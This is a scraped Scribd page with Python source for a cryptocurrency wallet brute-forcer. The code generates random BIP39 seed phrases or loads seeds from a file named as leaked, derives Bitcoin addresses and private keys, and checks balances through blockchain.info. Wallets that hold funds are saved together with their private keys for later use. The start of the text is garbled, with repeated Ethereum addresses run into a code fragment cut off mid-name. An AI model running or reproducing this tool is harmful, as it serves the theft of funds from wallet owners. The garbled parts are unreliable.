0% found this document useful (0 votes)
8 views4 pages

11

The document outlines a program designed to generate cryptocurrency wallet seeds and check their balances using multiple APIs. It includes classes for seed generation, API interaction, and caching mechanisms, as well as a main function to orchestrate the scanning process. The program logs statistics about the seeds scanned, addresses checked, and wallets found with balances.

Uploaded by

altcoinlx
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
8 views4 pages

11

The document outlines a program designed to generate cryptocurrency wallet seeds and check their balances using multiple APIs. It includes classes for seed generation, API interaction, and caching mechanisms, as well as a main function to orchestrate the scanning process. The program logs statistics about the seeds scanned, addresses checked, and wallets found with balances.

Uploaded by

altcoinlx
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

7E73d732934A6dfC94aE9e7301aE16C012215

0x1Fa7E73d732934A6dfC94aE9e7301aE16C012215
0xF95705338b0efC2be67659f6D1e456EDc09baCFA
0xF95705338b0efC2be67659f6D1e456EDc09baCFA
0xC6d27CC207811c19D7CCb10ed7DeCCFbcBBBDB93
0xC6d27CC207811c19D7CCb10ed7DeCCFbcBBBDB93
0x16f79ff4C7a4cd1b669C218667Fb9E0eE5FF0b3d
0x16f79ff4C7a4cd1b669C218667Fb9E0eE5FF0b3d
0xf1BAA6De470461B62760698423052404dE673837
0xf1BAA6De470461B62760698423052404dE673837
0x1ee0d42Bb24abE32367EF73589efF4dC7B72426c
0x1ee0d42Bb24abE32367EF73589efF4dC7B72426c
0x4e2DbCad4e52f0646eaD36fAc57F189ab1d6A1D2
0x4e2DbCad4e52f0646eaD36fAc57F189ab1d6A1D20917837d68e6401884Be4BF5ce620x3aC95Df0522
C9d6A03d
8224589111848d88ce620x3aC95Df0522C9d6A03d8224589111848d88ce620x3aC95Df0522C9d6etite
m__(self, key, value):
if len(self.cache) >= self.max_size:
self.cache.pop(next(iter(self.cache)))
self.cache[key] = value

# ==================== SEED GENERATOR (SAMPLING) ====================


class SeedGenerator:
def __init__(self, config: Config):
self.config = config
self.words = self._load_wordlist()
self.validator = Bip39MnemonicValidator(Bip39Languages.ENGLISH)
self.years = [2009, 2010, 2011, 2012, 2013, 2014]
self.weights = [0.30, 0.25, 0.20, 0.15, 0.07, 0.03]

def _load_wordlist(self):
if not Path(self.config.WORDLIST_FILE).exists():
import urllib.request
url =
"https://raw.githubusercontent.com/bitcoin/bips/master/bip-0039/english.txt"
urllib.request.urlretrieve(url, self.config.WORDLIST_FILE)
with open(self.config.WORDLIST_FILE, "r") as f:
return [line.strip() for line in f]

def generate(self):
while True:
year = random.choices(self.years, weights=self.weights)[0]
seed = " ".join(random.choices(self.words, k=12))
if self.validator.IsValid(seed):
return seed

# ==================== MULTI API ====================


class MultiAPI:
def __init__(self, config: Config, session: aiohttp.ClientSession):
self.config = config
self.session = session
self.api_keys = config.BLOCKCHAIN_API_KEYS
self.usage = {k: 0 for k in self.api_keys}

async def check_balances(self, addresses: List[str], stats: Stats) -> Dict[str,


dict]:
results = {}
joined = "|".join(addresses)
key = self.api_keys[0]
url = f"https://blockchain.info/balance?active={joined}&api_code={key}"
try:
async with self.session.get(url, timeout=self.config.API_TIMEOUT) as
resp:
stats.api_calls += 1
if resp.status == 200:
data = await resp.json()
results.update(data)
except:
pass

for addr in addresses:


if addr not in results:
results[addr] = {'final_balance': 0}
return results

# ==================== SCAN SEED ====================


async def scan_seed(seed: str, config: Config, api: MultiAPI,
cache: AddressCache, stats: Stats) -> Optional[str]:
result = []
seed_bytes = Bip39SeedGenerator(seed).Generate()
addresses, info = [], []

for path_name, path in config.DERIVATION_PATHS.items():


for i in range(config.ADDRESS_INDEX_RANGE):
full_path = f"{path}/{i}"
cache_key = f"{seed}:{full_path}"
if cache[cache_key] is not None:
continue
bip = Bip44.FromSeed(seed_bytes, Bip44Coins.BITCOIN)
addr_obj =
bip.Purpose().Coin().Account(0).Change(Bip44Changes.CHAIN_EXT).AddressIndex(i)
address = addr_obj.PublicKey().ToAddress()
private_key = addr_obj.PrivateKey().Raw().ToHex()
addresses.append(address)
info.append((address, private_key, full_path, cache_key, path_name))

balances = await api.check_balances(addresses, stats)


for (address, priv, full_path, key, path_name) in info:
balance = balances.get(address, {}).get("final_balance", 0) / 1e8
stats.addresses_checked += 1
cache[key] = balance
if balance >= config.MIN_BALANCE:
stats.wallets_found += 1
result.append(
f"Type: {path_name}\nAddress: {address}\nBalance: {balance:.8f}
BTC\nPrivate: {priv}\nPath: {full_path}\n"
)

stats.seeds_scanned += 1
return "\n".join(result) if result else None

# ==================== WORKER ====================


loop = asyncio.new_event_loop()
lock = Lock()

def worker(seed: str, config: Config, cache: dict, stats: dict):


async def _run():
async with aiohttp.ClientSession() as session:
api = MultiAPI(config, session)
secure = SecureStorage(config.KEY_FILE)
addr_cache = AddressCache(config.CACHE_FILE, config.MAX_CACHE_SIZE,
secure)
addr_cache.cache.update(cache)
stat = Stats()
result = await scan_seed(seed, config, api, addr_cache, stat)
with lock:
for k in ['seeds_scanned', 'wallets_found', 'addresses_checked',
'api_calls']:
stats[k] += getattr(stat, k)
cache.update(addr_cache.cache)
return result
return asyncio.run(_run())

# ==================== MAIN ====================


def main():
start_time = time.time()
config = Config()
setup_logging(config)
validator = Bip39MnemonicValidator(Bip39Languages.ENGLISH)
sg = SeedGenerator(config)
secure = SecureStorage(config.KEY_FILE)
shared_cache = {}
shared_stats = {'seeds_scanned': 0, 'wallets_found': 0, 'addresses_checked': 0,
'api_calls': 0}
seeds = []

if Path(config.LEAK_FILE).exists():
with open(config.LEAK_FILE, "r", encoding="utf-8") as f:
seeds = [line.strip() for line in f if validator.IsValid(line.strip())]

batch = 0
with ThreadPoolExecutor(max_workers=config.THREADS) as pool:
while batch < config.TOTAL_BATCHES:
if not seeds:
seeds = [sg.generate() for _ in range(config.SEED_BATCH_SIZE)]
futures = [pool.submit(worker, s, config, shared_cache, shared_stats)
for s in seeds]
results = [f.result() for f in futures]
found = [r for r in results if r]
if found:
with open(config.RESULT_FILE, "a", encoding="utf-8") as f:
f.write("\n".join(found) + "\n")
elapsed = time.time() - start_time
speed = shared_stats['seeds_scanned'] / elapsed if elapsed > 0 else 0
logging.info("="*60)
logging.info(f"Seeds scanned :
{shared_stats['seeds_scanned']}")
logging.info(f"Addresses checked :
{shared_stats['addresses_checked']}")
logging.info(f"Wallets with balance :
{shared_stats['wallets_found']}")
logging.info(f"Elapsed time : {elapsed:.2f} seconds")
logging.info(f"Speed : {speed:.2f} seeds/sec")
logging.info("="*60)
seeds = []
batch += 1
AddressCache(config.CACHE_FILE, config.MAX_CACHE_SIZE, secure).save()

if __name__ == "__main__":
asyncio.set_event_loop(loop)
main()

You might also like